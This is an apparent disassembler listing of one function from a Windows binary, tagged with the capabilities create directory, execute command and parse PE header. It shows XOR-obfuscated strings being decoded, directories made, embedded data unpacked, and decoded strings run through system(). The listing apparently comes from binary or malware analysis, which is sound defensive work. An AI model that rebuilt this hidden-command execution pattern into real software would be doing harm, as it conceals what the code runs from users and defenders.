Function at 0x14010c260
Capabilities:
Create directory
Execute command
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x8b8]
sub rsp, 0x990
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x140b29680]
xor rax, rsp
mov qword [rbp + 0x870], rax
movdqa xmm1, xmmword [0x1401f2240]
movdqu xmmword [rbp + 0x1b0], xmm1
movdqa xmm2, xmmword [0x1401f1ce0]
movdqu xmmword [rbp + 0x1c0], xmm2
mov dl, 4
movzx r8d, dl
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x1b1], al
xor byte [rbp + 0x1b2], cl
xor byte [rbp + 0x1b3], cl
xor byte [rbp + 0x1b4], cl
xor byte [rbp + 0x1b5], cl
xor byte [rbp + 0x1b6], cl
xor byte [rbp + 0x1b7], cl
xor byte [rbp + 0x1b8], cl
xor byte [rbp + 0x1b9], cl
xor byte [rbp + 0x1ba], cl
xor byte [rbp + 0x1bb], cl
xor byte [rbp + 0x1bc], cl
xor byte [rbp + 0x1bd], cl
xor byte [rbp + 0x1be], cl
xor byte [rbp + 0x1bf], cl
movd eax, xmm2
xor al, cl
mov byte [rbp + 0x1c0], al
xor byte [rbp + 0x1c1], cl
xor byte [rbp + 0x1c2], cl
xor byte [rbp + 0x1c3], cl
xor byte [rbp + 0x1c4], cl
xor byte [rbp + 0x1c5], cl
xor byte [rbp + 0x1c6], cl
xor byte [rbp + 0x1c7], cl
xor byte [rbp + 0x1c8], cl
xor byte [rbp + 0x1c9], cl
xor byte [rbp + 0x1ca], cl
xor byte [rbp + 0x1cb], cl
xor byte [rbp + 0x1cc], cl
xor byte [rbp + 0x1cd], cl
xor byte [rbp + 0x1ce], cl
xor byte [rbp + 0x1cf], cl
xor dl, cl
mov byte [rbp + 0x1d0], dl
xor r8b, cl
mov byte [rbp + 0x1d1], r8b
mov byte [rbp + 0x1d2], 0
movss xmm6, dword [0x1401e1378]
movaps xmm2, xmm6
lea rdx, [0x1401f04e0]
lea rcx, [rbp + 0x1b1]
call fcn.14011bb90
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
nop dword [rax + rax]
inc eax
mov dword [rsp + 0x34], eax
mov byte [rbp + 0x200], 0x60
mov al, 3
mov cl, 8
mov dl, 5
movzx r8d, al
mov r9b, VariantTimeToDosDateTime
mov r10b, 9
mov r11b, reloc.WS2_32.dll_ntohl
mov bl, 7
mov dil, 0x40
mov sil, reloc.WS2_32.dll_select
mov r14b, reloc.WS2_32.dll_sendto
mov r15b, reloc.WS2_32.dll_send
movzx r12d, r15b
xor r13d, r13d
xor al, 0x60
mov byte [rbp + 0x201], al
xor cl, 0x60
mov byte [rbp + 0x202], cl
xor dl, 0x60
mov byte [rbp + 0x203], dl
xor r8b, 0x60
mov byte [rbp + 0x204], r8b
xor r9b, 0x60
mov byte [rbp + 0x205], r9b
xor r10b, 0x60
mov byte [rbp + 0x206], r10b
xor r11b, 0x60
mov byte [rbp + 0x207], r11b
xor bl, 0x60
mov byte [rbp + 0x208], bl
xor dil, 0x60
mov byte [rbp + 0x209], dil
xor sil, 0x60
mov byte [rbp + 0x20a], sil
xor r14b, 0x60
mov byte [rbp + 0x20b], r14b
xor r15b, 0x60
mov byte [rbp + 0x20c], r15b
xor r12b, 0x60
mov byte [rbp + 0x20d], r12b
mov byte [rbp + 0x20e], r13b
movaps xmm2, xmm6
lea r14, [0x1401f04e0]
mov rdx, r14
lea rcx, [rbp + 0x201]
call fcn.14011bb90
movdqa xmm1, xmmword [0x1401f1fe0]
movdqu xmmword [rbp + 0x210], xmm1
mov dl, reloc.WS2_32.dll_WSASetLastError
mov r8b, WSACleanup
mov r9b, 0x68
mov r10b, reloc.WLDAP32.dll_Ordinal_35
mov r11b, 0x3e
movzx ebx, r10b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x211], al
xor byte [rbp + 0x212], cl
xor byte [rbp + 0x213], cl
xor byte [rbp + 0x214], cl
xor byte [rbp + 0x215], cl
xor byte [rbp + 0x216], cl
xor byte [rbp + 0x217], cl
xor byte [rbp + 0x218], cl
xor byte [rbp + 0x219], cl
xor byte [rbp + 0x21a], cl
xor byte [rbp + 0x21b], cl
xor byte [rbp + 0x21c], cl
xor byte [rbp + 0x21d], cl
xor byte [rbp + 0x21e], cl
xor byte [rbp + 0x21f], cl
xor dl, cl
mov byte [rbp + 0x220], dl
xor r8b, cl
mov byte [rbp + 0x221], r8b
xor r9b, cl
mov byte [rbp + 0x222], r9b
xor r10b, cl
mov byte [rbp + 0x223], r10b
xor r11b, cl
mov byte [rbp + 0x224], r11b
xor bl, cl
mov byte [rbp + 0x225], bl
mov byte [rbp + 0x226], r13b
xorps xmm0, xmm0
movups xmmword [rbp + 0x2b0], xmm0
xor esi, esi
mov qword [rbp + 0x2c0], rsi
mov qword [rbp + 0x2c8], rsi
lea rax, [rbp + 0x211]
mov r13, 0xffffffffffffffff
mov r8, r13
inc r8
cmp byte [rax + r8], sil
jne 0x14010c5b4
lea rdx, [rbp + 0x211]
lea rcx, [rbp + 0x2b0]
call fcn.140024450
lea rcx, [rbp + 0x2b0]
call fcn.14011b7c0
test al, al
jne 0x14010d501
cmp dword [rsp + 0x34], 3
jge 0x14010d084
movdqa xmm1, xmmword [0x1401f2220]
movdqu xmmword [rbp + 0x1b0], xmm1
movdqa xmm2, xmmword [0x1401f2210]
movdqu xmmword [rbp + 0x1c0], xmm2
mov dl, VariantTimeToDosDateTime
mov r8b, 0x59
mov r9b, 0x5e
mov r10b, 0x45
movzx r11d, dl
mov bl, 0x42
mov dil, 0x5f
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x1b1], al
xor byte [rbp + 0x1b2], cl
xor byte [rbp + 0x1b3], cl
xor byte [rbp + 0x1b4], cl
xor byte [rbp + 0x1b5], cl
xor byte [rbp + 0x1b6], cl
xor byte [rbp + 0x1b7], cl
xor byte [rbp + 0x1b8], cl
xor byte [rbp + 0x1b9], cl
xor byte [rbp + 0x1ba], cl
xor byte [rbp + 0x1bb], cl
xor byte [rbp + 0x1bc], cl
xor byte [rbp + 0x1bd], cl
xor byte [rbp + 0x1be], cl
xor byte [rbp + 0x1bf], cl
movd eax, xmm2
xor al, cl
mov byte [rbp + 0x1c0], al
xor byte [rbp + 0x1c1], cl
xor byte [rbp + 0x1c2], cl
xor byte [rbp + 0x1c3], cl
xor byte [rbp + 0x1c4], cl
xor byte [rbp + 0x1c5], cl
xor byte [rbp + 0x1c6], cl
xor byte [rbp + 0x1c7], cl
xor byte [rbp + 0x1c8], cl
xor byte [rbp + 0x1c9], cl
xor byte [rbp + 0x1ca], cl
xor byte [rbp + 0x1cb], cl
xor byte [rbp + 0x1cc], cl
xor byte [rbp + 0x1cd], cl
xor byte [rbp + 0x1ce], cl
xor byte [rbp + 0x1cf], cl
xor dl, cl
mov byte [rbp + 0x1d0], dl
xor r8b, cl
mov byte [rbp + 0x1d1], r8b
xor r9b, cl
mov byte [rbp + 0x1d2], r9b
xor r10b, cl
mov byte [rbp + 0x1d3], r10b
xor r11b, cl
mov byte [rbp + 0x1d4], r11b
xor bl, cl
mov byte [rbp + 0x1d5], bl
xor dil, cl
mov byte [rbp + 0x1d6], dil
mov byte [rbp + 0x1d7], sil
movaps xmm2, xmm6
mov rdx, r14
lea rcx, [rbp + 0x1b1]
call fcn.14011bb90
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm1, xmmword [str.l_V0_]
movdqu xmmword [rbp + 0x190], xmm1
mov dl, 0x30
mov r8b, reloc.WLDAP32.dll_Ordinal_30
mov r9b, Ordinal_26
mov r10b, Ordinal_33
movzx r11d, r10b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x191], al
xor byte [rbp + 0x192], cl
xor byte [rbp + 0x193], cl
xor byte [rbp + 0x194], cl
xor byte [rbp + 0x195], cl
xor byte [rbp + 0x196], cl
xor byte [rbp + 0x197], cl
xor byte [rbp + 0x198], cl
xor byte [rbp + 0x199], cl
xor byte [rbp + 0x19a], cl
xor byte [rbp + 0x19b], cl
xor byte [rbp + 0x19c], cl
xor byte [rbp + 0x19d], cl
xor byte [rbp + 0x19e], cl
xor byte [rbp + 0x19f], cl
xor dl, cl
mov byte [rbp + 0x1a0], dl
xor r8b, cl
mov byte [rbp + 0x1a1], r8b
xor r9b, cl
mov byte [rbp + 0x1a2], r9b
xor r10b, cl
mov byte [rbp + 0x1a3], r10b
xor r11b, cl
mov byte [rbp + 0x1a4], r11b
mov byte [rbp + 0x1a5], sil
lea rcx, [rbp + 0x191]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
movdqa xmm1, xmmword [0x1401f1d70]
movdqu xmmword [rbp + 0x190], xmm1
mov dl, Ordinal_35
mov r8b, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
mov r9b, 0xa
mov r10b, reloc.WS2_32.dll_listen
movzx r11d, r10b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x191], al
xor byte [rbp + 0x192], cl
xor byte [rbp + 0x193], cl
xor byte [rbp + 0x194], cl
xor byte [rbp + 0x195], cl
xor byte [rbp + 0x196], cl
xor byte [rbp + 0x197], cl
xor byte [rbp + 0x198], cl
xor byte [rbp + 0x199], cl
xor byte [rbp + 0x19a], cl
xor byte [rbp + 0x19b], cl
xor byte [rbp + 0x19c], cl
xor byte [rbp + 0x19d], cl
xor byte [rbp + 0x19e], cl
xor byte [rbp + 0x19f], cl
xor dl, cl
mov byte [rbp + 0x1a0], dl
xor r8b, cl
mov byte [rbp + 0x1a1], r8b
xor r9b, cl
mov byte [rbp + 0x1a2], r9b
xor r10b, cl
mov byte [rbp + 0x1a3], r10b
xor r11b, cl
mov byte [rbp + 0x1a4], r11b
mov byte [rbp + 0x1a5], sil
xorps xmm0, xmm0
movups xmmword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x250], xmm0
movups xmmword [rbp + 0x260], xmm0
movups xmmword [rbp + 0x270], xmm0
movups xmmword [rbp + 0x280], xmm0
movups xmmword [rbp + 0x290], xmm0
movups xmmword [rbp + 0x2a0], xmm0
xor r9d, r9d
mov r8d, 0x75ea5
lea rdx, [0x140aa7cd0]
lea rcx, [rbp + 0x240]
call fcn.140134040
test eax, eax
je 0x14010cc07
lea rcx, [rbp + 0x240]
call fcn.140133bd0
mov edi, eax
mov ebx, esi
test eax, eax
jle 0x14010ca2d
nop
lea r8, [rbp + 0x300]
mov edx, ebx
lea rcx, [rbp + 0x240]
call fcn.140133a20
test eax, eax
je 0x14010cbfb
mov byte [rbp + 0x2d0], 8
mov al, reloc.WLDAP32.dll_Ordinal_45
mov cl, 0x7b
mov dl, 0x27
movzx r8d, al
movzx r9d, cl
xor al, 8
mov byte [rbp + 0x2d1], al
xor cl, 8
mov byte [rbp + 0x2d2], cl
xor dl, 8
mov byte [rbp + 0x2d3], dl
xor r8b, 8
mov byte [rbp + 0x2d4], r8b
xor r9b, 8
mov byte [rbp + 0x2d5], r9b
mov byte [rbp + 0x2d6], sil
lea rax, [rbp + 0x350]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x191]
lea r8, [rbp + 0x2d1]
mov edx, 0x104
lea rcx, [rbp + 0x760]
call fcn.140130410
cmp dword [rbp + 0x344], esi
je 0x14010ca0b
lea rcx, [rbp + 0x760]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
jmp 0x14010ca23
xor r9d, r9d
lea r8, [rbp + 0x760]
mov edx, ebx
lea rcx, [rbp + 0x240]
call fcn.140133240
inc ebx
cmp ebx, edi
jl 0x14010c960
lea rcx, [rbp + 0x240]
call fcn.140131fa0
movdqa xmm1, xmmword [0x1401f1cc0]
movdqu xmmword [rbp + 0x1b0], xmm1
movdqa xmm2, xmmword [0x1401f1ec0]
movdqu xmmword [rbp + 0x1c0], xmm2
movdqa xmm3, xmmword [0x1401f1d60]
movdqu xmmword [rbp + 0x1d0], xmm3
mov dl, reloc.WS2_32.dll_recv
mov r8b, 0x55
mov r9b, 0x5a
mov r10b, Ordinal_30
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x1b1], al
xor byte [rbp + 0x1b2], cl
xor byte [rbp + 0x1b3], cl
xor byte [rbp + 0x1b4], cl
xor byte [rbp + 0x1b5], cl
xor byte [rbp + 0x1b6], cl
xor byte [rbp + 0x1b7], cl
xor byte [rbp + 0x1b8], cl
xor byte [rbp + 0x1b9], cl
xor byte [rbp + 0x1ba], cl
xor byte [rbp + 0x1bb], cl
xor byte [rbp + 0x1bc], cl
xor byte [rbp + 0x1bd], cl
xor byte [rbp + 0x1be], cl
xor byte [rbp + 0x1bf], cl
movd eax, xmm2
xor al, cl
mov byte [rbp + 0x1c0], al
xor byte [rbp + 0x1c1], cl
xor byte [rbp + 0x1c2], cl
xor byte [rbp + 0x1c3], cl
xor byte [rbp + 0x1c4], cl
xor byte [rbp + 0x1c5], cl
xor byte [rbp + 0x1c6], cl
xor byte [rbp + 0x1c7], cl
xor byte [rbp + 0x1c8], cl
xor byte [rbp + 0x1c9], cl
xor byte [rbp + 0x1ca], cl
xor byte [rbp + 0x1cb], cl
xor byte [rbp + 0x1cc], cl
xor byte [rbp + 0x1cd], cl
xor byte [rbp + 0x1ce], cl
xor byte [rbp + 0x1cf], cl
movd eax, xmm3
xor al, cl
mov byte [rbp + 0x1d0], al
xor byte [rbp + 0x1d1], cl
xor byte [rbp + 0x1d2], cl
xor byte [rbp + 0x1d3], cl
xor byte [rbp + 0x1d4], cl
xor byte [rbp + 0x1d5], cl
xor byte [rbp + 0x1d6], cl
xor byte [rbp + 0x1d7], cl
xor byte [rbp + 0x1d8], cl
xor byte [rbp + 0x1d9], cl
xor byte [rbp + 0x1da], cl
xor byte [rbp + 0x1db], cl
xor byte [rbp + 0x1dc], cl
xor byte [rbp + 0x1dd], cl
xor byte [rbp + 0x1de], cl
xor byte [rbp + 0x1df], cl
xor dl, cl
mov byte [rbp + 0x1e0], dl
xor r8b, cl
mov byte [rbp + 0x1e1], r8b
xor r9b, cl
mov byte [rbp + 0x1e2], r9b
xor r10b, cl
mov byte [rbp + 0x1e3], r10b
mov byte [rbp + 0x1e4], sil
lea rcx, [rbp + 0x1b1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rsp + 0x34]
jmp 0x14010c3e0
lea rcx, [rbp + 0x240]
call fcn.140131fa0
movdqa xmm1, xmmword [0x1401f1fb0]
movdqa xmmword [rbp + 0x1b0], xmm1
movdqa xmm2, xmmword [0x1401f1f80]
movdqa xmmword [rbp + 0x1c0], xmm2
movdqa xmm3, xmmword [0x1401f1f50]
movdqa xmmword [rbp + 0x1d0], xmm3
movdqa xmm4, xmmword [0x1401f1f90]
movdqa xmmword [rbp + 0x1e0], xmm4
mov dl, Ordinal_60
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x1b1], al
xor byte [rbp + 0x1b2], cl
xor byte [rbp + 0x1b3], cl
xor byte [rbp + 0x1b4], cl
xor byte [rbp + 0x1b5], cl
xor byte [rbp + 0x1b6], cl
xor byte [rbp + 0x1b7], cl
xor byte [rbp + 0x1b8], cl
xor byte [rbp + 0x1b9], cl
xor byte [rbp + 0x1ba], cl
xor byte [rbp + 0x1bb], cl
xor byte [rbp + 0x1bc], cl
xor byte [rbp + 0x1bd], cl
xor byte [rbp + 0x1be], cl
xor byte [rbp + 0x1bf], cl
movd eax, xmm2
xor al, cl
mov byte [rbp + 0x1c0], al
xor byte [rbp + 0x1c1], cl
xor byte [rbp + 0x1c2], cl
xor byte [rbp + 0x1c3], cl
xor byte [rbp + 0x1c4], cl
xor byte [rbp + 0x1c5], cl
xor byte [rbp + 0x1c6], cl
xor byte [rbp + 0x1c7], cl
xor byte [rbp + 0x1c8], cl
xor byte [rbp + 0x1c9], cl
xor byte [rbp + 0x1ca], cl
xor byte [rbp + 0x1cb], cl
xor byte [rbp + 0x1cc], cl
xor byte [rbp + 0x1cd], cl
xor byte [rbp + 0x1ce], cl
xor byte [rbp + 0x1cf], cl
movd eax, xmm3
xor al, cl
mov byte [rbp + 0x1d0], al
xor byte [rbp + 0x1d1], cl
xor byte [rbp + 0x1d2], cl
xor byte [rbp + 0x1d3], cl
xor byte [rbp + 0x1d4], cl
xor byte [rbp + 0x1d5], cl
xor byte [rbp + 0x1d6], cl
xor byte [rbp + 0x1d7], cl
xor byte [rbp + 0x1d8], cl
xor byte [rbp + 0x1d9], cl
xor byte [rbp + 0x1da], cl
xor byte [rbp + 0x1db], cl
xor byte [rbp + 0x1dc], cl
xor byte [rbp + 0x1dd], cl
xor byte [rbp + 0x1de], cl
xor byte [rbp + 0x1df], cl
movd eax, xmm4
xor al, cl
mov byte [rbp + 0x1e0], al
xor byte [rbp + 0x1e1], cl
xor byte [rbp + 0x1e2], cl
xor byte [rbp + 0x1e3], cl
xor byte [rbp + 0x1e4], cl
xor byte [rbp + 0x1e5], cl
xor byte [rbp + 0x1e6], cl
xor byte [rbp + 0x1e7], cl
xor byte [rbp + 0x1e8], cl
xor byte [rbp + 0x1e9], cl
xor byte [rbp + 0x1ea], cl
xor byte [rbp + 0x1eb], cl
xor byte [rbp + 0x1ec], cl
xor byte [rbp + 0x1ed], cl
xor byte [rbp + 0x1ee], cl
xor byte [rbp + 0x1ef], cl
xor dl, cl
mov byte [rbp + 0x1f0], dl
mov byte [rbp + 0x1f1], sil
movaps xmm2, xmm6
lea rdx, [0x1401f04e4]
lea rcx, [rbp + 0x1b1]
call fcn.14011bb90
movdqa xmm1, xmmword [0x1401f21d0]
movdqa xmmword [rbp + 0x240], xmm1
movdqa xmm2, xmmword [0x1401f21f0]
movdqa xmmword [rbp + 0x250], xmm2
movdqa xmm3, xmmword [0x1401f2280]
movdqa xmmword [rbp + 0x260], xmm3
movdqa xmm4, xmmword [0x1401f2470]
movdqa xmmword [rbp + 0x270], xmm4
mov cl, Ordinal_32
mov r8b, 0x54
mov r9b, 0x5f
mov r10b, 0x47
mov r11b, 0x5e
mov bl, 0x5c
movzx edi, r9b
mov sil, 0x51
movzx r14d, r8b
movzx r15d, cl
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rbp + 0x241], al
xor byte [rbp + 0x242], dl
xor byte [rbp + 0x243], dl
xor byte [rbp + 0x244], dl
xor byte [rbp + 0x245], dl
xor byte [rbp + 0x246], dl
xor byte [rbp + 0x247], dl
xor byte [rbp + 0x248], dl
xor byte [rbp + 0x249], dl
xor byte [rbp + 0x24a], dl
xor byte [rbp + 0x24b], dl
xor byte [rbp + 0x24c], dl
xor byte [rbp + 0x24d], dl
xor byte [rbp + 0x24e], dl
xor byte [rbp + 0x24f], dl
movd eax, xmm2
xor al, dl
mov byte [rbp + 0x250], al
xor byte [rbp + 0x251], dl
xor byte [rbp + 0x252], dl
xor byte [rbp + 0x253], dl
xor byte [rbp + 0x254], dl
xor byte [rbp + 0x255], dl
xor byte [rbp + 0x256], dl
xor byte [rbp + 0x257], dl
xor byte [rbp + 0x258], dl
xor byte [rbp + 0x259], dl
xor byte [rbp + 0x25a], dl
xor byte [rbp + 0x25b], dl
xor byte [rbp + 0x25c], dl
xor byte [rbp + 0x25d], dl
xor byte [rbp + 0x25e], dl
xor byte [rbp + 0x25f], dl
movd eax, xmm3
xor al, dl
mov byte [rbp + 0x260], al
xor byte [rbp + 0x261], dl
xor byte [rbp + 0x262], dl
xor byte [rbp + 0x263], dl
xor byte [rbp + 0x264], dl
xor byte [rbp + 0x265], dl
xor byte [rbp + 0x266], dl
xor byte [rbp + 0x267], dl
xor byte [rbp + 0x268], dl
xor byte [rbp + 0x269], dl
xor byte [rbp + 0x26a], dl
xor byte [rbp + 0x26b], dl
xor byte [rbp + 0x26c], dl
xor byte [rbp + 0x26d], dl
xor byte [rbp + 0x26e], dl
xor byte [rbp + 0x26f], dl
movd eax, xmm4
xor al, dl
mov byte [rbp + 0x270], al
xor byte [rbp + 0x271], dl
xor byte [rbp + 0x272], dl
xor byte [rbp + 0x273], dl
xor byte [rbp + 0x274], dl
xor byte [rbp + 0x275], dl
xor byte [rbp + 0x276], dl
xor byte [rbp + 0x277], dl
xor byte [rbp + 0x278], dl
xor byte [rbp + 0x279], dl
xor byte [rbp + 0x27a], dl
xor byte [rbp + 0x27b], dl
xor byte [rbp + 0x27c], dl
xor byte [rbp + 0x27d], dl
xor byte [rbp + 0x27e], dl
xor byte [rbp + 0x27f], dl
xor cl, dl
mov byte [rbp + 0x280], cl
xor r8b, dl
mov byte [rbp + 0x281], r8b
xor r9b, dl
mov byte [rbp + 0x282], r9b
xor r10b, dl
mov byte [rbp + 0x283], r10b
xor r11b, dl
mov byte [rbp + 0x284], r11b
xor bl, dl
mov byte [rbp + 0x285], bl
xor dil, dl
mov byte [rbp + 0x286], dil
xor sil, dl
mov byte [rbp + 0x287], sil
xor r14b, dl
mov byte [rbp + 0x288], r14b
xor r15b, dl
mov byte [rbp + 0x289], r15b
mov byte [rbp + 0x28a], 0
lea rcx, [rbp + 0x241]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x14010e2a2
movdqa xmm1, xmmword [0x1401f23b0]
movdqa xmmword [rbp + 0x1b0], xmm1
movdqa xmm2, xmmword [0x1401f2390]
movdqa xmmword [rbp + 0x1c0], xmm2
movdqa xmm3, xmmword [0x1401f2350]
movdqa xmmword [rbp + 0x1d0], xmm3
movdqa xmm4, xmmword [0x1401f23a0]
movdqa xmmword [rbp + 0x1e0], xmm4
mov dl, 0x47
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x1b1], al
xor byte [rbp + 0x1b2], cl
xor byte [rbp + 0x1b3], cl
xor byte [rbp + 0x1b4], cl
xor byte [rbp + 0x1b5], cl
xor byte [rbp + 0x1b6], cl
xor byte [rbp + 0x1b7], cl
xor byte [rbp + 0x1b8], cl
xor byte [rbp + 0x1b9], cl
xor byte [rbp + 0x1ba], cl
xor byte [rbp + 0x1bb], cl
xor byte [rbp + 0x1bc], cl
xor byte [rbp + 0x1bd], cl
xor byte [rbp + 0x1be], cl
xor byte [rbp + 0x1bf], cl
movd eax, xmm2
xor al, cl
mov byte [rbp + 0x1c0], al
xor byte [rbp + 0x1c1], cl
xor byte [rbp + 0x1c2], cl
xor byte [rbp + 0x1c3], cl
xor byte [rbp + 0x1c4], cl
xor byte [rbp + 0x1c5], cl
xor byte [rbp + 0x1c6], cl
xor byte [rbp + 0x1c7], cl
xor byte [rbp + 0x1c8], cl
xor byte [rbp + 0x1c9], cl
xor byte [rbp + 0x1ca], cl
xor byte [rbp + 0x1cb], cl
xor byte [rbp + 0x1cc], cl
xor byte [rbp + 0x1cd], cl
xor byte [rbp + 0x1ce], cl
xor byte [rbp + 0x1cf], cl
movd eax, xmm3
xor al, cl
mov byte [rbp + 0x1d0], al
xor byte [rbp + 0x1d1], cl
xor byte [rbp + 0x1d2], cl
xor byte [rbp + 0x1d3], cl
xor byte [rbp + 0x1d4], cl
xor byte [rbp + 0x1d5], cl
xor byte [rbp + 0x1d6], cl
xor byte [rbp + 0x1d7], cl
xor byte [rbp + 0x1d8], cl
xor byte [rbp + 0x1d9], cl
xor byte [rbp + 0x1da], cl
xor byte [rbp + 0x1db], cl
xor byte [rbp + 0x1dc], cl
xor byte [rbp + 0x1dd], cl
xor byte [rbp + 0x1de], cl
xor byte [rbp + 0x1df], cl
movd eax, xmm4
xor al, cl
mov byte [rbp + 0x1e0], al
xor byte [rbp + 0x1e1], cl
xor byte [rbp + 0x1e2], cl
xor byte [rbp + 0x1e3], cl
xor byte [rbp + 0x1e4], cl
xor byte [rbp + 0x1e5], cl
xor byte [rbp + 0x1e6], cl
xor byte [rbp + 0x1e7], cl
xor byte [rbp + 0x1e8], cl
xor byte [rbp + 0x1e9], cl
xor byte [rbp + 0x1ea], cl
xor byte [rbp + 0x1eb], cl
xor byte [rbp + 0x1ec], cl
xor byte [rbp + 0x1ed], cl
xor byte [rbp + 0x1ee], cl
xor byte [rbp + 0x1ef], cl
xor dl, cl
mov byte [rbp + 0x1f0], dl
mov byte [rbp + 0x1f1], sil
movaps xmm2, xmm6
lea rdx, [0x1401f04e4]
lea rcx, [rbp + 0x1b1]
call fcn.14011bb90
movdqa xmm1, xmmword [0x1401f20c0]
movdqa xmmword [rbp + 0x240], xmm1
movdqa xmm2, xmmword [0x1401f20e0]
movdqa xmmword [rbp + 0x250], xmm2
movdqa xmm3, xmmword [0x1401f2140]
movdqa xmmword [rbp + 0x260], xmm3
movdqa xmm4, xmmword [0x1401f1e80]
movdqa xmmword [rbp + 0x270], xmm4
mov cl, 0x67
mov r8b, Ordinal_45
mov r9b, Ordinal_41
mov r10b, 0x3f
mov r11b, 0x26
mov bl, 0x24
movzx edi, r9b
mov sil, reloc.WLDAP32.dll_Ordinal_41
movzx r14d, r8b
movzx r15d, cl
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rbp + 0x241], al
xor byte [rbp + 0x242], dl
xor byte [rbp + 0x243], dl
xor byte [rbp + 0x244], dl
xor byte [rbp + 0x245], dl
xor byte [rbp + 0x246], dl
xor byte [rbp + 0x247], dl
xor byte [rbp + 0x248], dl
xor byte [rbp + 0x249], dl
xor byte [rbp + 0x24a], dl
xor byte [rbp + 0x24b], dl
xor byte [rbp + 0x24c], dl
xor byte [rbp + 0x24d], dl
xor byte [rbp + 0x24e], dl
xor byte [rbp + 0x24f], dl
movd eax, xmm2
xor al, dl
mov byte [rbp + 0x250], al
xor byte [rbp + 0x251], dl
xor byte [rbp + 0x252], dl
xor byte [rbp + 0x253], dl
xor byte [rbp + 0x254], dl
xor byte [rbp + 0x255], dl
xor byte [rbp + 0x256], dl
xor byte [rbp + 0x257], dl
xor byte [rbp + 0x258], dl
xor byte [rbp + 0x259], dl
xor byte [rbp + 0x25a], dl
xor byte [rbp + 0x25b], dl
xor byte [rbp + 0x25c], dl
xor byte [rbp + 0x25d], dl
xor byte [rbp + 0x25e], dl
xor byte [rbp + 0x25f], dl
movd eax, xmm3
xor al, dl
mov byte [rbp + 0x260], al
xor byte [rbp + 0x261], dl
xor byte [rbp + 0x262], dl
xor byte [rbp + 0x263], dl
xor byte [rbp + 0x264], dl
xor byte [rbp + 0x265], dl
xor byte [rbp + 0x266], dl
xor byte [rbp + 0x267], dl
xor byte [rbp + 0x268], dl
xor byte [rbp + 0x269], dl
xor byte [rbp + 0x26a], dl
xor byte [rbp + 0x26b], dl
xor byte [rbp + 0x26c], dl
xor byte [rbp + 0x26d], dl
xor byte [rbp + 0x26e], dl
xor byte [rbp + 0x26f], dl
movd eax, xmm4
xor al, dl
mov byte [rbp + 0x270], al
xor byte [rbp + 0x271], dl
xor byte [rbp + 0x272], dl
xor byte [rbp + 0x273], dl
xor byte [rbp + 0x274], dl
xor byte [rbp + 0x275], dl
xor byte [rbp + 0x276], dl
xor byte [rbp + 0x277], dl
xor byte [rbp + 0x278], dl
xor byte [rbp + 0x279], dl
xor byte [rbp + 0x27a], dl
xor byte [rbp + 0x27b], dl
xor byte [rbp + 0x27c], dl
xor byte [rbp + 0x27d], dl
xor byte [rbp + 0x27e], dl
xor byte [rbp + 0x27f], dl
xor cl, dl
mov byte [rbp + 0x280], cl
xor r8b, dl
mov byte [rbp + 0x281], r8b
xor r9b, dl
mov byte [rbp + 0x282], r9b
xor r10b, dl
mov byte [rbp + 0x283], r10b
xor r11b, dl
mov byte [rbp + 0x284], r11b
xor bl, dl
mov byte [rbp + 0x285], bl
xor dil, dl
mov byte [rbp + 0x286], dil
xor sil, dl
mov byte [rbp + 0x287], sil
xor r14b, dl
mov byte [rbp + 0x288], r14b
xor r15b, dl
mov byte [rbp + 0x289], r15b
mov byte [rbp + 0x28a], 0
lea rcx, [rbp + 0x241]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x14010e2a2
movdqa xmm1, xmmword [0x1401f2420]
movdqu xmmword [rbp + 0x210], xmm1
mov dl, 0x40
movzx r8d, dl
mov r9b, 0x47
movzx r10d, dl
mov r11b, 0x49
mov bl, reloc.WS2_32.dll_ntohs
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x211], al
xor byte [rbp + 0x212], cl
xor byte [rbp + 0x213], cl
xor byte [rbp + 0x214], cl
xor byte [rbp + 0x215], cl
xor byte [rbp + 0x216], cl
xor byte [rbp + 0x217], cl
xor byte [rbp + 0x218], cl
xor byte [rbp + 0x219], cl
xor byte [rbp + 0x21a], cl
xor byte [rbp + 0x21b], cl
xor byte [rbp + 0x21c], cl
xor byte [rbp + 0x21d], cl
xor byte [rbp + 0x21e], cl
xor byte [rbp + 0x21f], cl
xor dl, cl
mov byte [rbp + 0x220], dl
xor r8b, cl
